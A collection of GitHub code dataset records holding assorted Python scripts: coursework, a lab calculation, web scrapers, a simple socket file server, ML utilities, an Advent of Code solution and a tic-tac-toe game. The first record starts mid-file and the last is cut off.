'''\n assert len(names) == len(values) == len(calories)\n menu = []\n for i in range(len(names)):\n menu.append(Food(names[i], values[i], calories[i]))\n return menu\n\n\ndef flexibleGreedy(items, maxCost, keyFunction):\n '''\n :param items: list of Food\n :param maxCost: >= 0\n :param keyFunction: maps elements of items to numbers\n :return: tuple of the 'keyFunction' based combination of food and their total value\n '''\n assert isinstance(items, list); assert maxCost >= 0\n itemsCopy = sorted(items, key=keyFunction, reverse=True) # sorted so it does return a copy of the original\n result = []\n totalValue, totalCost = 0.0, 0.0\n for i in range(len(itemsCopy)):\n if (totalCost+itemsCopy[i].getCost()) <= maxCost:\n result.append(itemsCopy[i])\n totalCost += itemsCopy[i].getCost()\n totalValue += itemsCopy[i].getValue()\n else:\n break\n return result, totalValue\n\n\ndef testGreedy(items, constraint, keyFunction):\n '''\n :param items: list of Food\n :param constraint: >= 0\n :param keyFunction: maps elements of items to numbers\n :return: void\n '''\n taken, val = flexibleGreedy(items, constraint, keyFunction)\n print('Total value of items taken =', val)\n for item in taken:\n print(' ', item)\n print()\n\n\ndef testGreedys(items, maxUnits):\n '''\n :param items: list of Food\n :param maxUnits: >= 0\n :return:\n '''\n print('Use greedy by value to allocate', maxUnits, 'calories')\n testGreedy(items, maxUnits, Food.getValue)\n print('Use greedy by cost to allocate', maxUnits, 'calories')\n testGreedy(items, maxUnits, lambda x: 1/Food.getCost(x)) # 1/func so it sort by least expensive to most, Food.getCost sorts by most to least\n print('Use greedy by density to allocate', maxUnits, 'calories')\n testGreedy(items, maxUnits, Food.density)\n\n\nfoods = buildMenu(\n ['wine', 'beer', 'pizza', 'burger', 'fries', 'cola', 'apple', 'donut'],\n [89, 90, 95, 100, 90, 79, 50, 10],\n [123, 154, 258, 354, 365, 150, 95, 195]\n)\n\ntestGreedys(foods, 750)\n\n\n\n\n\n\n\n\n","repo_name":"Talon1989/MIT-6.00.2x-python-data-science","sub_path":"src/UNIT-1/lecture-1/lect1.py","file_name":"lect1.py","file_ext":"py","file_size_in_byte":2388,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"82"} +{"seq_id":"25698675179","text":"import numpy as np\nimport matplotlib.pyplot as plt\nimport scipy as sp\nfrom scipy.optimize import curve_fit\n\n# Konstanten\n\nrydberg = 13.605692\nalpha = 1/137\nh = 6.62606876e-34\ne = 1.602176462e-19\nc = 299792458\nd = 201e-12\ndeg_to_rad = 2 * np.pi / 360\n\n# z = 32\n# x = np.array([16.7, 17.2])\n\nz = 41\nx = np.array([18.0, 18.4, 18.7, 19.2, 19.6, 22.0])\n\nx /= 2\n\nx_quer = 0\nfor val in x:\n\tx_quer += val\n\nx_quer /= x.size\n\nx_err = (((h * c) / (2 * d)) * (np.cos(x_quer * deg_to_rad) / (np.sin(x_quer * deg_to_rad) ** 2)) * (0.1 * deg_to_rad)) / e\n\n# Zuerst auf Energie umrechnen\nx = h * c / (2 * d * np.sin(x * deg_to_rad)) / e\n\nx_sum = 0\nfor val in x:\n\tx_sum += val\n\nx_sum /= x.size\n\n#x_sum = 18985.6\n\nsig = z - np.sqrt((x_sum / rydberg - (alpha ** 2) * (z ** 2 / 4)))\n\nsig_err = (1 / (2 * rydberg) / np.sqrt((x_sum) / rydberg - .25 * (z * alpha) ** 2) * (x_err))\n\nprint('Mittelwert Winkel: ' + str(x_quer))\nprint('E_Mittel: ' + str(x_sum))\nprint('Fehler auf E_Mittel: ' + str(x_err))\nprint('simga: ' + str(sig))\nprint('Fehler auf sigma: ' + str(sig_err))","repo_name":"bixel/AP1213","sub_path":"V602_X-Ray/data/mittelwertsrechnung_K-Kante.py","file_name":"mittelwertsrechnung_K-Kante.py","file_ext":"py","file_size_in_byte":1049,"program_lang":"python","lang":"en","doc_type":"code","stars":3,"dataset":"github-code","pt":"82"} +{"seq_id":"17539178786","text":"import os\nfrom PIL import Image\nimport numpy as np\n\ntrain_label_dir = \"./data/tiff/train_labels\"\ntest_label_dir = \"./data/tiff/test_labels\"\nvalidation_label_dir = \"./data/tiff/val_labels\"\n\n\ndirs = [train_label_dir, test_label_dir, validation_label_dir]\n\nfor dir in dirs:\n for file in os.listdir(dir):\n os.rename(os.path.join(dir, file), os.path.join(dir, file + \"f\"))\n\n\n\"\"\"\nimport matplotlib.pyplot as plt\n\nif __name__ == \"__main__\":\n\n paths = os.listdir(\"./pretraining_data/224_train\")\n\n\n for i, path in enumerate(paths):\n a = np.load(\"./pretraining_data/224_train/\" + path)\n plt.imsave(f'feature_{i}.jpeg', a)\n\"\"\"","repo_name":"Sjyhne/building_segmentation","sub_path":"rename_files.py","file_name":"rename_files.py","file_ext":"py","file_size_in_byte":645,"program_lang":"python","lang":"en","doc_type":"code","stars":3,"dataset":"github-code","pt":"82"} +{"seq_id":"8672392630","text":"'''\n func:执行cs代码\n'''\n\nfrom selenium import webdriver\n\nbrowser=webdriver.Chrome()\n#\n# driver.get('https://www.zhihu.com/explore')\n# driver.execute_script('window.scrollTo(0, document.body.scrollHeight)')\n# driver.execute_script('alert(\"To Bottom\")')\n# driver.close()\nurl = 'https://www.zhihu.com/explore'\nbrowser.get(url)\n\n#选中想要的节点\n# node=browser.find_element_by_id('zh-top-link-logo')\n# print(node,node.get_attribute('class'))\n#获取文本值\nn1=browser.find_element_by_class_name('zu-top-add-question')\nprint(n1.text)\n\nbrowser.close()\n","repo_name":"yangsongwei/scrawtest","sub_path":"seleniumlearn/exejscode.py","file_name":"exejscode.py","file_ext":"py","file_size_in_byte":562,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"82"} +{"seq_id":"12819102954","text":"\"\"\"\nauthor: Anna Boronina\nemail: a.boronina@innopolis.university\ntelegram: @whoorma\ngroup: DS-01\nTO RUN: python3 server.py\n\"\"\"\n\nimport socket\nimport os\nimport re\nimport threading\n\n# host and port information\nHOST = '127.0.0.1'\nPORT = 8080\n# buffer size for the incoming files\nBUFFER_SIZE = 4096\n# create server TCP socket with IPv4 and bind it to host ip and port number\nserver_socket = socket.socket(socket.AF_INET, socket.SOCK_STREAM)\nserver_socket.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)\nserver_socket.bind((HOST, PORT))\n# start listerning for incoming connections\nserver_socket.listen(10)\n# an array with all active clients\nall_cli_socks = []\n# append server itself\nall_cli_socks.append(server_socket)\n# separator that will be used to receive file name and file size together\nSEPARATOR = ''\n\n\n# class responsible for handling name collisions\nclass NamesMap:\n def __init__(self):\n # dictionary with existing names and number of their occurences\n self.names_map = {}\n # regex to make sure that file(1) is treated as file\n self.catch_number = re.compile(r'\\(.*?\\)')\n # initial call to check existing files\n self.init_names_map()\n \n \n def init_names_map(self):\n # build initial dictionary for existing files\n for file_name in os.listdir(os.getcwd()):\n number = self.catch_number.search(file_name)\n original_file_name = re.sub(r'\\(.*?\\)', '', file_name)\n occurences = 0\n if number is not None:\n number = number.group()\n occurences = int(number[1:len(number)-1]) \n else:\n occurences = 1\n \n self.add_file_to_names_map(original_file_name, occurences)\n\n \n def add_file_to_names_map(self, file_name, number):\n # add a new file to the dictionary\n if number:\n self.names_map[file_name] = max(number, (self.names_map.get(file_name) or 0))\n return\n\n self.names_map[file_name] = (self.names_map.get(file_name) or 0) + 1\n\n new_file_name = file_name\n if self.names_map.get(file_name) > 1:\n new_file_name = '(' + str(self.names_map.get(file_name) - 1) + ')' + file_name\n \n return new_file_name\n\n\n# class responsible for creating blocking sockets for each new client\nclass Dobby:\n def __init__(self, sock):\n # create a thread\n threading.Thread.__init__(self)\n self.sock = sock\n # append this client's socket to the list of active sockets\n all_cli_socks.append(self.sock)\n\n def receive(self):\n # receive file name and file size\n data = self.sock.recv(BUFFER_SIZE).decode()\n orig_file_name, file_size = data.split(SEPARATOR)\n file_size = int(file_size)\n \n # make sure file name doesn't case name collision\n file_name = names_map.add_file_to_names_map(orig_file_name, None)\n \n # open the new file\n new_file = open(file_name, 'wb')\n\n total = 0\n # receive file by parts until the file is received completely\n while total != file_size:\n bytes_read = self.sock.recv(BUFFER_SIZE)\n\n if total == file_size:\n # nothing is received\n # file transmitting is done\n break\n # write to the file the bytes we just received\n new_file.write(bytes_read)\n\n total += len(bytes_read)\n \n new_file.close()\n print(f'I received {orig_file_name} and saved it as {file_name} :)')\n\n def be_free(self):\n # call this function after receiving is over and the socket is not needed anymore\n all_cli_socks.remove(self.sock)\n\n\n# create dictionary of names\nnames_map = NamesMap()\nwhile 1:\n # accept a new client and create a thread\n cli_sock, cli_addr = server_socket.accept()\n newthread = Dobby(cli_sock)\n # receive the client's file\n newthread.receive()\n # let the client go\n newthread.be_free()","repo_name":"annwhoorma/DS-lab-6","sub_path":"server.py","file_name":"server.py","file_ext":"py","file_size_in_byte":4030,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"82"} +{"seq_id":"13667531729","text":"import requests\nimport json\n\n# URL of API\n#url = \"https://reports.sem-o.com/api/v1/documents/static-reports\"\nurl = \"https://reports.sem-o.com/api/v1/documents/static-reports?ReportName=Balancing%20and%20Imbalance%20Market%20Cost%20View&Date=>2019-11-10\"\nresponse = requests.get(url)\n# Load the data\ndata = response.json()\n\n# Make an empty list for report list\nlistOfReports = []\n#output to console\n#print (data)\n\n# Loop through each item\nfor item in data[\"items\"]:\n #print(item[\"ResourceName\"])\n # Add the ResourceName field to the list\n listOfReports.append(item[\"ResourceName\"])\n\n# Loop through each report\nfor ReportName in listOfReports:\n #print(ReportName)\n # Link to the report API\n url = \"https://reports.sem-o.com/api/v1/documents/\"+ReportName\n # Output to screen\n print(url)\n response = requests.get(url)\n # JSONify list\n aReport = response.json()\n\n#other code\n#save this to a file\nfilename = 'allreports.json'\n# Writing JSON data\nf = open(filename, 'w')\njson.dump(data, f, indent=4)\n","repo_name":"YBrady/dataRepresentation","sub_path":"Labs/week07/lab01.01-getListOfReports.py","file_name":"lab01.01-getListOfReports.py","file_ext":"py","file_size_in_byte":1026,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"82"} +{"seq_id":"38288902670","text":"# %%\n\n# read wav file using scipy \n\nimport scipy.io.wavfile as wavfile\nimport numpy as np\nimport matplotlib.pyplot as plt\nimport proplot as pplt\n\n# %%\n\nfs = 10000\nt = np.arange(0, 1, 1/fs)\nf = 100\ny = 0.5*np.sin(2 * np.pi * f * t)\n\n\n# wave wav \nwavfile.write('out/test_python.wav', fs, y)\n\nfs1, y1 = wavfile.read('out/test_python.wav')\n\n\n# %%\n\nimport h5py\nwith h5py.File('out/test_h5.h5', 'w') as f:\n f.create_dataset('p', data=y)\n f.create_dataset('fs', data=fs)\n f.create_dataset('t0', data=0.0)\n g = f.create_group(\"correction\")\n g.create_dataset('factor_microphone', data=1.0)\n g = f.create_group('units')\n g.create_dataset('p', data='Pa', dtype='S2')\n g.create_dataset('fs', data='Hz', dtype='S2')\n g.create_dataset('t0', data='s', dtype='S1')\n\n\n# %%","repo_name":"christianhauschel/AcousticAnalysis","sub_path":"test/wav.py","file_name":"wav.py","file_ext":"py","file_size_in_byte":782,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"82"} +{"seq_id":"1958526544","text":"\nimport numpy as np__\nimport tensorflow as tf__\nimport tensorflow_probability as tfp__\ntfd__ = tfp__.distributions\ntfb__ = tfp__.bijectors\nfrom tensorflow.python.ops.parallel_for import pfor as pfor__\n\nclass test_cont_unbounded_model(tfd__.Distribution):\n\n def __init__(self):\n pass\n \n \n def log_prob_one_chain(self, params):\n target = 0\n \n p_normal = tf__.cast(params[0], tf__.float64)\n p_cauchy = tf__.cast(params[1], tf__.float64)\n p_gumbel = tf__.cast(params[2], tf__.float64)\n p_student_t = tf__.cast(params[3], tf__.float64)\n p_double_exponential = tf__.cast(params[4], tf__.float64)\n target += tf__.reduce_sum(tfd__.Normal((-tf__.cast(1, tf__.float64)),\n tf__.cast(5, tf__.float64)).log_prob(p_normal))\n target += tf__.reduce_sum(tfd__.Cauchy((-tf__.cast(3, tf__.float64)),\n tf__.cast(2, tf__.float64)).log_prob(p_cauchy))\n target += tf__.reduce_sum(tfd__.Gumbel(tf__.cast(3, tf__.float64),\n tf__.cast(1, tf__.float64)).log_prob(p_gumbel))\n target += tf__.reduce_sum(tfd__.StudentT(tf__.cast(2, tf__.float64),\n (-tf__.cast(1, tf__.float64)),\n tf__.cast(3, tf__.float64)).log_prob(p_student_t))\n target += tf__.reduce_sum(tfd__.Laplace(tf__.cast(0, tf__.float64),\n tf__.cast(3, tf__.float64)).log_prob(p_double_exponential))\n return target\n \n def log_prob(self, params):\n return tf__.vectorized_map(self.log_prob_one_chain, params)\n \n \n def parameter_shapes(self, nchains__):\n \n return [(nchains__, ), (nchains__, ), (nchains__, ), (nchains__, \n ), (nchains__, )]\n \n def parameter_bijectors(self):\n \n return [tfb__.Identity(), tfb__.Identity(), tfb__.Identity(),\n tfb__.Identity(), tfb__.Identity()]\n \n def parameter_names(self):\n return [\"p_normal\", \"p_cauchy\", \"p_gumbel\", \"p_student_t\",\n \"p_double_exponential\"]\n \nmodel = test_cont_unbounded_model","repo_name":"metrumresearchgroup/torsten_tutorial_1_supplementary","sub_path":"Torsten/stanc3/test/integration/tfp/tfp_models/test_cont_unbounded.py","file_name":"test_cont_unbounded.py","file_ext":"py","file_size_in_byte":2140,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"82"} +{"seq_id":"9030509815","text":"from typing import List, Optional, Any, Dict\nimport numpy as np\nimport random\nimport copy\n\n\nclass PositionallyDisentangledListenerAgent(object):\n def __init__(\n self,\n action_space_dim:object, \n vocab_size:int,\n max_sentence_length:int,\n nbr_communication_rounds:int,\n nbr_latents:int,\n ):\n self.action_space_dim = action_space_dim\n self.vocab_size = vocab_size\n self.max_sentence_length = max_sentence_length\n self.nbr_communication_rounds = nbr_communication_rounds\n self.nbr_latents = nbr_latents\n \n self.reset()\n\n def reset(self):\n self.round_idx = 0\n \n def _reason(\n self,\n state:np.ndarray,\n infos:Dict[str,np.ndarray],\n action_dict:Optional[Dict[str,np.ndarray]]=None,\n )->Dict[str,np.ndarray]:\n \n if action_dict is None:\n action_dict = {\n \"communication_channel\":np.zeros((1,self.max_sentence_length)),\n \"decision\":np.zeros((1,1)),\n }\n \n target_stimulus = infos[\"speaker_exp_latents\"][0:1,0:1]\n target_utterance_ohe = infos[\"communication_channel\"]\n target_utterance_widx = np.reshape(target_utterance_ohe, (self.max_sentence_length,-1))\n target_utterance_widx = (np.arange(self.vocab_size+1)*target_utterance_widx).max(axis=-1)\n\n stimuli = infos[\"listener_exp_latents\"][0]\n \n target_utterance_round_pos_start = self.round_idx-1\n target_utterance_round_pos_end = self.round_idx\n if self.round_idx == 1 and self.nbr_communication_rounds==1:\n target_utterance_round_pos_start = 0\n target_utterance_round_pos_end = self.max_sentence_length\n\n round_target_utterance = \\\n target_utterance_widx[target_utterance_round_pos_start:target_utterance_round_pos_end]\n \n round_stimuli = stimuli[..., target_utterance_round_pos_start:target_utterance_round_pos_end]\n \n \"\"\"\n Taking care of EoS offset index:\n \"\"\"\n round_target_utterance_widx = target_utterance_widx-1\n rtu_widx = np.stack([round_target_utterance_widx]*round_stimuli.shape[0], axis=0)\n # nbr_stimulus x stimulus_dim_we_care_about \n round_stimuli_scores = (round_stimuli==rtu_widx).astype(float).sum(axis=-1)\n round_decision = round_stimuli_scores.argmax(axis=0).astype(float)\n action_dict[\"decision\"][0,0] = round_decision\n \n return action_dict\n\n def next_action(\n self,\n state:np.ndarray,\n infos:Dict[str,np.ndarray],\n )->Dict[str,np.ndarray]:\n \n self.round_idx = infos['round_idx']\n \n self.action_dict = {\n \"communication_channel\":np.zeros((1,self.max_sentence_length)),\n \"decision\":np.zeros((1,1)),\n }\n \n if self.round_idx!=0:\n self.action_dict = self._reason(\n state=state, \n infos=infos,\n action_dict=self.action_dict,\n )\n\n self.per_round_decision.append(self.action_dict['decision'])\n else:\n self.per_round_decision = []\n\n if self.round_idx==self.nbr_communication_rounds:\n \"\"\"\n It is time to make the final decision:\n \"\"\"\n final_decision = random.choice(self.per_round_decision)\n self.action_dict['decision'] = final_decision\n\n return self.action_dict\n\n\nfrom ..utils.agent_wrappers import RuleBasedAgentWrapper\n\ndef build_WrappedPositionallyDisentangledListenerAgent(\n player_idx:int, \n action_space_dim:object, \n vocab_size:int,\n max_sentence_length:int,\n nbr_communication_rounds:int,\n nbr_latents:int,\n ):\n\tagent = PositionallyDisentangledListenerAgent(\n action_space_dim=action_space_dim, \n vocab_size=vocab_size,\n max_sentence_length=max_sentence_length,\n nbr_communication_rounds=nbr_communication_rounds,\n nbr_latents=nbr_latents,\n )\n\twrapped_agent = RuleBasedAgentWrapper(\n\t\truleBasedAgent=agent, \n\t\tplayer_idx=player_idx, \n\t\tnbr_actors = 1\n\t)\n\treturn wrapped_agent\n","repo_name":"Near32/SymbolicBehaviourBenchmark","sub_path":"symbolic_behaviour_benchmark/rule_based_agents/positionally_disentangled_listener_agent.py","file_name":"positionally_disentangled_listener_agent.py","file_ext":"py","file_size_in_byte":4243,"program_lang":"python","lang":"en","doc_type":"code","stars":4,"dataset":"github-code","pt":"82"} +{"seq_id":"42574613447","text":"import os\nimport numpy as np\nfrom tensorflow import keras\nimport load_pdf_to_img\nfrom flask import Flask, request, jsonify\n\nmodel = keras.models.load_model('model_margin_identification.h5')\n\napp = Flask(__name__)\n\n@app.route('/identify_margin', methods=(\"POST\", \"GET\"))\ndef identify_margin():\n \n cvs = os.listdir('cv')\n \n \n margin_dict = {}\n for cv in cvs:\n if (cv != \".DS_Store\") and (cv!='images'):\n img = load_pdf_to_img.pdf_to_img('cv', cv)\n pred = np.round(model.predict(img)[0])\n if pred == 1: \n margin_dict[cv[:-4]] = 'Has 1 inch margin'\n else:\n margin_dict[cv[:-4]] = \"Doesn't have 1 inch margin\" \n \n \n \n return jsonify({'margin':margin_dict})\n \n\n\nif __name__ == '__main__':\n app.run('0.0.0.0' , 5000 , debug=True , threaded=True)","repo_name":"sparsh1996/pdf_margin_identification","sub_path":"app.py","file_name":"app.py","file_ext":"py","file_size_in_byte":879,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"82"} +{"seq_id":"29465780763","text":"#!/usr/bin/env python3\n\"\"\"\nThis module will scrape allrecipe website recipe links\nand saves it in csv file.\n\"\"\"\n\nfrom requests import get\nfrom bs4 import BeautifulSoup\nfrom csv import writer, reader\nfrom time import sleep\n\nALL_RECIPE_FILE = 'allrecipe_recipe_links.csv'\nALL_CUISINE_FILE = 'allrecipe_world_cuisine.csv'\n\n\ndef get_recipe_links(cuisine_path: str) -> None:\n \"\"\"This function takes a cuisine link and scrapes recipe links.\"\"\"\n html = get(cuisine_path).text\n soup = BeautifulSoup(html, 'html.parser')\n recipes = soup.find_all('a', {\"class\": \"mntl-card-list-items\"})\n links = [recipe['href'] for recipe in recipes]\n\n with open(ALL_RECIPE_FILE, 'a+', newline='') as file:\n writing = writer(file)\n writing.writerows([[link] for link in links])\n\n\nwith open(ALL_CUISINE_FILE, 'r', newline='') as file:\n reader_obj = reader(file)\n for line in reader_obj:\n get_recipe_links(line[0])\n sleep(2)\n","repo_name":"AisosaAghedo/MealMagic-recipe-recommendation-website","sub_path":"engine_src/allrecipe_recipe_links.py","file_name":"allrecipe_recipe_links.py","file_ext":"py","file_size_in_byte":949,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"82"} +{"seq_id":"72660296269","text":"#!/bin/python\n\nfrom dataclasses import dataclass\nfrom typing import Dict, List, Set\n\n\n@dataclass\nclass Point(object):\n x: int\n y: int\n value: int\n\n def is_next_to(self, point) -> bool:\n if abs(self.x - point.x) <= 1 and abs(self.y - point.y) <= 1:\n return True\n else:\n return False\n\n\ndef find_low_points(lines: List[List[int]]) -> List[Point]:\n low_points: List[Point] = []\n\n for i in range(len(lines)):\n for j in range(len(lines[i])):\n current_height: int = lines[i][j]\n\n if (i - 1 < 0 or lines[i - 1][j] > current_height) \\\n and (j - 1 < 0 or lines[i][j - 1] > current_height) \\\n and (i + 1 >= len(lines) or lines[i + 1][j] > current_height) \\\n and (j + 1 >= len(lines[i]) or lines[i][j + 1] > current_height):\n low_points.append(Point(x=j, y=i, value=current_height))\n\n return low_points\n\n\ndef part_one(lines: List[List[int]]) -> int:\n low_points = find_low_points(lines)\n return sum(\n [x.value + 1 for x in low_points]\n )\n\n\ndef find_next_points(heigh_map: List[List[int]], point: Point, been_points: List[Point] = []) -> List[Point]:\n if point in been_points:\n return []\n\n been_points.append(point)\n\n points: List[Point] = [point]\n\n # Up\n if point.y + 1 < len(heigh_map) and heigh_map[point.y + 1][point.x] < 9:\n points.extend(\n find_next_points(\n heigh_map,\n point=Point(x=point.x, y=point.y + 1, value=point.value),\n been_points=been_points\n )\n )\n # Down\n if point.y - 1 >= 0 and heigh_map[point.y - 1][point.x] < 9:\n points.extend(\n find_next_points(\n heigh_map,\n point=Point(x=point.x, y=point.y - 1, value=point.value),\n been_points=been_points\n )\n )\n # Left\n if point.x - 1 >= 0 and heigh_map[point.y][point.x - 1] < 9:\n points.extend(\n find_next_points(\n heigh_map,\n point=Point(x=point.x - 1, y=point.y, value=point.value),\n been_points=been_points\n )\n )\n # Right\n if point.x + 1 < len(heigh_map[point.y]) and heigh_map[point.y][point.x + 1] < 9:\n points.extend(\n find_next_points(\n heigh_map,\n point=Point(x=point.x + 1, y=point.y, value=point.value),\n been_points=been_points\n )\n )\n\n return points\n\n\ndef part_two(lines: List[List[int]]) -> None:\n\n low_points: List[Point] = find_low_points(lines)\n\n basins: List[List[Point]] = []\n for low_point in low_points:\n basin: List[Point] = find_next_points(height_map, low_point)\n basins.append(basin)\n\n basin_sizes: List[int] = sorted([len(x) for x in basins])\n\n return basin_sizes[-1] * basin_sizes[-2] * basin_sizes[-3]\n\n\nwith open('2021/09/input.txt', 'r') as file:\n lines: List[str] = file.readlines()\n\nheight_map: List[List[int]] = [\n [int(height) for height in line.strip()] for line in lines\n]\n\nprint(part_one(height_map))\nprint(part_two(height_map))\n","repo_name":"gregarendse/adventofcode","sub_path":"2021/09/main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":3203,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"82"} +{"seq_id":"70584406027","text":"\"\"\"Buttons to control the phoniebox.\"\"\"\nfrom __future__ import annotations\n\nfrom abc import ABC\n\nfrom homeassistant.components.button import ButtonEntity, ButtonDeviceClass\nfrom homeassistant.config_entries import ConfigEntries\n\nfrom . import DataCoordinator\nfrom .const import CONF_PHONIEBOX_NAME, DOMAIN, PHONIEBOX_CMD_PLAYER_SHUFFLE, \\\n PHONIEBOX_CMD_SCAN, PHONIEBOX_CMD_PLAYER_REWIND, PHONIEBOX_CMD_PLAYER_REPLAY, PHONIEBOX_CMD_REBOOT, \\\n PHONIEBOX_CMD_SHUTDOWN, PHONIEBOX_CMD_SHUTDOWN_SILENT, BUTTON_RESTART, BUTTON_SHUFFLE, BUTTON_SCAN, BUTTON_REWIND, \\\n BUTTON_REPLAY, BUTTON_SHUTDOWN, BUTTON_SHUTDOWN_SILENT, ALL_BUTTONS, LOGGER\nfrom .entity import PhonieboxEntity\nfrom .sensor import _slug\n\n\ndef find_device_class(name: str) -> ButtonDeviceClass | None:\n \"\"\"\n Based on the button name find the corresponding device class\n \"\"\"\n if name == BUTTON_RESTART:\n return ButtonDeviceClass.RESTART\n return None\n\n\ndef find_mqtt_topic(name: str) -> str:\n \"\"\"\n Based on the button name find the corresponding mqtt command\n \"\"\"\n if name == BUTTON_SHUFFLE:\n return PHONIEBOX_CMD_PLAYER_SHUFFLE\n if name == BUTTON_SCAN:\n return PHONIEBOX_CMD_SCAN\n if name == BUTTON_REWIND:\n return PHONIEBOX_CMD_PLAYER_REWIND\n if name == BUTTON_REPLAY:\n return PHONIEBOX_CMD_PLAYER_REPLAY\n if name == BUTTON_RESTART:\n return PHONIEBOX_CMD_REBOOT\n if name == BUTTON_SHUTDOWN:\n return PHONIEBOX_CMD_SHUTDOWN\n if name == BUTTON_SHUTDOWN_SILENT:\n return PHONIEBOX_CMD_SHUTDOWN_SILENT\n\n\nasync def async_setup_entry(hass, entry, async_add_devices):\n \"\"\"Setup button platform.\"\"\"\n coordinator = hass.data[DOMAIN][entry.entry_id]\n buttons: list[PhonieboxButton] = []\n store = coordinator.buttons\n\n for button_name in ALL_BUTTONS:\n buttons.append(\n PhonieboxButton(\n config_entry=entry,\n name=button_name,\n coordinator=coordinator,\n device_class=find_device_class(button_name),\n on_press_mqtt_topic=find_mqtt_topic(button_name),\n )\n )\n\n if len(buttons) == 0:\n return\n\n for button in buttons:\n if button.name not in store:\n button.hass = hass\n store[button.name] = button\n LOGGER.debug(\n \"Registering buttons %(name)s\",\n {\"name\": button.name},\n )\n async_add_devices((button,), True)\n\n\nclass PhonieboxButton(PhonieboxEntity, ButtonEntity, ABC):\n \"\"\"phoniebox button class.\"\"\"\n\n _attr_should_poll = False\n\n def __init__(\n self,\n config_entry: ConfigEntries,\n name: str,\n coordinator: DataCoordinator,\n device_class: ButtonDeviceClass = None,\n on_press_mqtt_topic=None,\n ):\n super().__init__(config_entry, coordinator)\n self.entity_id = _slug(name, config_entry.data[CONF_PHONIEBOX_NAME])\n self._attr_name = name\n self._attr_device_class = device_class\n self._on_press_mqtt_topic = on_press_mqtt_topic\n\n async def async_press(self) -> None:\n \"\"\"Press the button.\"\"\"\n if self._on_press_mqtt_topic:\n await self.mqtt_client.async_publish(f\"cmd/{self._on_press_mqtt_topic}\", {})\n","repo_name":"c0un7-z3r0/hass-phoniebox","sub_path":"custom_components/phoniebox/button.py","file_name":"button.py","file_ext":"py","file_size_in_byte":3321,"program_lang":"python","lang":"en","doc_type":"code","stars":3,"dataset":"github-code","pt":"82"} +{"seq_id":"20794237585","text":"import numpy as np\r\n\r\ndata = np.genfromtxt('dataset1.csv', delimiter=';', usecols=[0,1,2,3,4,5,6,7], converters={5: lambda s: 0 if s == b\"-1\" else float(s), 7: lambda s: 0 if s == b\"-1\" else float(s)})\r\n\r\nvalidation = np.genfromtxt('validation1.csv', delimiter=';', usecols=[0,1,2,3,4,5,6,7], converters={5: lambda s: 0 if s == b\"-1\" else float(s), 7: lambda s: 0 if s == b\"-1\" else float(s)})\r\n\r\ndates = np.genfromtxt('dataset1.csv', delimiter=';', usecols=[0])\r\nlabels = []\r\nfor label in dates:\r\n\tif label < 20000301:\r\n\t\tlabels.append('winter')\r\n\telif 20000301 <= label < 20000601:\r\n\t\tlabels.append('lente')\r\n\telif 20000601 <= label < 20000901:\r\n\t\tlabels.append('zomer')\r\n\telif 20000901 <= label < 20001201:\r\n\t\tlabels.append('herfst')\r\n\telse: # from 01-12 to end of year\r\n\t\tlabels.append('winter')\r\n\r\ndef map(x, in_min, in_max, out_min, out_max):\r\n return (x - in_min) * (out_max - out_min) / (in_max - in_min) + out_min\r\n\r\nmax_vals = np.amax(data, 0)\r\nmin_vals = np.amin(data, 0)\r\n\r\n\r\ndef normalize(data_set):\r\n\tfor i in range(len(data_set)): \r\n\t\tfor j in range(len(data_set[i])):\r\n\t\t\tdata_set[i][j] = map(data_set[i][j], min_vals[j], max_vals[j], 0, 100)\r\n\r\n\r\ndef calc_distance(validation_point, training_set):\r\n\tresult = [validation_point[0], []] #this adds the date to the rsult set and adds distance\r\n\tfor training_point in training_set:\r\n\t\t\tpoints = []\r\n\t\t\tfor i in range(len(train_data)-1): #remove one beecause of date\r\n\t\t\t\t\tpoints.append(pow(validation_point[i+1] - training_point[i+1])) #add one because of date\r\n\t\t\tresult[1].append( ( training_point[0], sum(points) ) )\r\n\r\n\r\nnormalize(data)\r\nnormalize(validation)\r\n\r\nclosest = []\r\n\r\nfor i in range(len(val_data)):\r\n\tclosest.append(calc_distance(validation[i], data))\r\n\tsorted(closest[i][1], key=lambda x: x[1])\r\n\r\n\r\n\r\nfor k in range(365):\r\n\tprint()\r\n\r\n\r\n\t\r\n\r\n\r\n","repo_name":"streefje1996/Knn","sub_path":"main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":1826,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"82"} +{"seq_id":"24102501629","text":"import tkinter as tk\nimport tkinter.messagebox as msg\nclass TicTacToe:\n def __init__(self, master):\n self.master = master\n self.master.title(\"Tic Tac Toe\")\n self.current_player = \"X\"\n self.board = [\" \"]*9\n\n # Create buttons for the game board\n self.buttons = []\n for i in range(9):\n button = tk.Button(self.master, text=\" \", font=(\"Helvetica\", 32), \n width=3, height=1, command=lambda i=i: self.make_move(i))\n button.grid(row=i//3, column=i%3)\n self.buttons.append(button)\n\n # Create a reset button\n reset_button = tk.Button(self.master, text=\"Reset Game\", font=(\"Helvetica\", 16),\n command=self.reset_game)\n reset_button.grid(row=3, column=0, columnspan=3)\n\n def make_move(self, position):\n if self.board[position] == \" \":\n self.board[position] = self.current_player\n self.buttons[position].config(text=self.current_player)\n if self.check_win():\n # tk.messagebox.showinfo(\"Congratulations!\", f\"{self.current_player} won!\")\n msg.showinfo(\"Congratulations!\", f\"{self.current_player} won!\")\n\n self.reset_game()\n elif self.check_tie():\n # tk.messagebox.showinfo(\"Tie Game!\", \"It's a tie!\")\n msg.showinfo(\"Tie Game!\", \"It's a tie!\")\n\n self.reset_game()\n else:\n self.current_player = \"O\" if self.current_player == \"X\" else \"X\"\n\n def check_win(self):\n # Check rows\n for i in range(0, 9, 3):\n if self.board[i] == self.board[i+1] == self.board[i+2] != \" \":\n return True\n # Check columns\n for i in range(3):\n if self.board[i] == self.board[i+3] == self.board[i+6] != \" \":\n return True\n 